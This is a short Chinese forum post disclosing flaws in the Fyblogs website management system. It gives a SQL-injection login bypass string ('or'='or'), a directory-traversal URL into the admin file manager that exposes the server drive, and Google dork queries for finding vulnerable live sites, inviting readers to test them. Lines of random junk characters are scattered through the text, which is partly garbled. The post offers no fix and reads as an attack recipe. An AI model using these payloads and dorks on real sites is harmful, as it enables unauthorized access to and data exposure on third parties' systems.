Fyblogs网站管理系统漏洞

admin

漏洞类型： 未授权访问/权限绕过
! c' Q% @+ _* u- y# Q1 B8 S) d
简要描述：
6 v6 H* j  u3 i! }: G
3 y0 h1 i& G4 Y) d6 ~' N& J! mFyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！

3 f; @! ?& N. u: e% T详细说明：

* H5 S# e$ `) P) i, z9 T后台万能密码 'or'='or'
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
& p8 ~& w7 ^: `6 Padmin/uploadfile.asp?currentFolder=/upfiles/../
3 s& J. u0 ^# s8 `: j/ K7 S3 x
- c0 z. Y# u$ Q% [/ A漏洞证明：

谷歌：inurl:type.asp?id=1 新闻中心
5 [9 |' ~1 {2 V( }或者 ：inurl:download_ok.asp?
+ S! L* p' M8 E# L: W" k6 N
% S  z0 {: v( c, A  i8 `9 f可以测试
2 |0 P' \9 ?& s4 ?) ]
​